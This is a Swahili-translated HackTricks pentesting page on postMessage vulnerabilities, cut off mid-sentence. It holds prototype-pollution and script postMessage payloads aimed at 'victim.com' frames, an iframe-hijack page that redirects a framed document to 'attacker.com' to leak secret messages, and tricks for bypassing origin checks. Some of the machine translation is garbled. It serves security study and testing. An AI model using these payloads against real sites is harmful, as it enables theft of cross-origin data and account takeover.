hacktricks/pentesting-web/postmessage-vulnerabilities
2024-02-11 02:13:58 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Swahili 2024-02-11 02:13:58 +00:00
bypassing-sop-with-iframes-1.md Translated to Swahili 2024-02-11 02:13:58 +00:00
bypassing-sop-with-iframes-2.md Translated to Swahili 2024-02-11 02:13:58 +00:00
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Mianzo ya Uvamizi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Tuma Ujumbe wa PostMessage

PostMessage hutumia kazi ifuatayo kutuma ujumbe:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Tafadhali kumbuka kuwa targetOrigin inaweza kuwa '*' au URL kama https://company.com.
Katika skenario ya pili, ujumbe unaweza kutumwa tu kwa kikoa hicho (hata kama asili ya kitu cha dirisha ni tofauti).
Ikiwa alama ya wilaya inatumika, ujumbe unaweza kutumwa kwa kikoa chochote, na utatumwa kwa asili ya kitu cha Dirisha.

Kuvamia iframe na alama ya wilaya katika targetOrigin

Kama ilivyoelezwa katika ripoti hii ikiwa unapata ukurasa ambao unaweza kuingizwa kwenye iframe (hakuna ulinzi wa X-Frame-Header) na ambao unatuma ujumbe wa siri kupitia postMessage kwa kutumia alama ya wilaya (*), unaweza kubadilisha asili ya iframe na kuvuja ujumbe wa siri kwa kikoa kinachodhibitiwa na wewe.
Tafadhali kumbuka kuwa ikiwa ukurasa unaweza kuingizwa kwenye iframe lakini targetOrigin imewekwa kwa URL na sio alama ya wilaya, hila hii haitafanya kazi.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Uchambuzi wa Utekelezaji wa addEventListener

addEventListener ni kazi inayotumiwa na JS kuweka wazi kazi ambayo inatarajia kupokea postMessages.
Msimbo kama ufuatao utatumika:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Tafadhali kumbuka katika kesi hii jinsi jambo la kwanza ambalo msimbo unafanya ni kuangalia asili. Hii ni muhimu sana hasa ikiwa ukurasa utafanya kitu chochote cha hisia na habari iliyopokelewa (kama kubadilisha nenosiri). Ikiwa haikagua asili, wadukuzi wanaweza kufanya waathirika kutuma data ya kiholela kwa sehemu hizi na kubadilisha nywila za waathirika (katika mfano huu).

Uchunguzi

Ili kupata wasikilizaji wa tukio katika ukurasa wa sasa unaweza:

  • Tafuta msimbo wa JS kwa window.addEventListener na $(window).on (toleo la JQuery)
  • Tekeleza katika kikasha cha zana za watengenezaji: getEventListeners(window)

  • Nenda kwenye Elements --> Wasikilizaji wa Tukio katika zana za watengenezaji wa kivinjari

Kupitisha ukaguzi wa asili

  • Sifa ya event.isTrusted inachukuliwa kuwa salama kwani inarudi True tu kwa matukio ambayo yamezalishwa na hatua halisi za mtumiaji. Ingawa ni changamoto kuihepa ikiwa imeboreshwa kwa usahihi, umuhimu wake katika ukaguzi wa usalama ni muhimu.

  • Matumizi ya indexOf() kwa ukaguzi wa asili katika matukio ya PostMessage yanaweza kuwa rahisi kupitisha. Mfano unaoonyesha udhaifu huu ni:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Mbinu ya search() kutoka String.prototype.search() inalenga kwa mifumo ya kawaida, sio herufi. Kupitisha kitu kingine chochote isipokuwa herufi kunasababisha ubadilishaji wa kimya kimya kuwa herufi, hivyo kufanya mbinu hiyo kuwa hatari. Hii ni kwa sababu katika mifumo ya kawaida, kipengele cha dot (.) kinatenda kama kichwa cha habari, kuruhusu kupitisha ukaguzi na vikoa vilivyoundwa kwa umakini. Kwa mfano:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Kazi ya match(), kama vile search(), inachakata mifumo ya kawaida. Ikiwa mifumo ya kawaida imeundwa vibaya, inaweza kuwa rahisi kupitisha.

  • Kazi ya escapeHtml inalenga kusafisha pembejeo kwa kutoroka herufi. Walakini, haizalishi kitu kipya kilichotoroka lakini inaandika upya mali za kitu kilichopo. Tabia hii inaweza kutumiwa vibaya. Hasa, ikiwa kitu kinaweza kubadilishwa ili mali yake inayodhibitiwa isitambue hasOwnProperty, escapeHtml haitafanya kazi kama ilivyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:

  • Kosa linalotarajiwa:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kupitisha kutoroka:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Katika muktadha wa udhaifu huu, kitu cha File kinaweza kudukuliwa kwa sababu ya mali yake ya kusoma tu ya name. Mali hii, wakati inatumika katika templeti, haipatikani kwa njia ya kusafisha na kazi ya escapeHtml, hivyo kusababisha hatari za usalama.

  • Mali ya document.domain katika JavaScript inaweza kuwekwa na hati ya kusitisha kikoa, kuruhusu utekelezaji wa sera ya asili sawa zaidi ndani ya kikoa kimoja cha mzazi.

Kupitisha e.origin == window.origin

Wakati wa kuingiza ukurasa wa wavuti ndani ya iframe iliyofungwa kwa kutumia %%%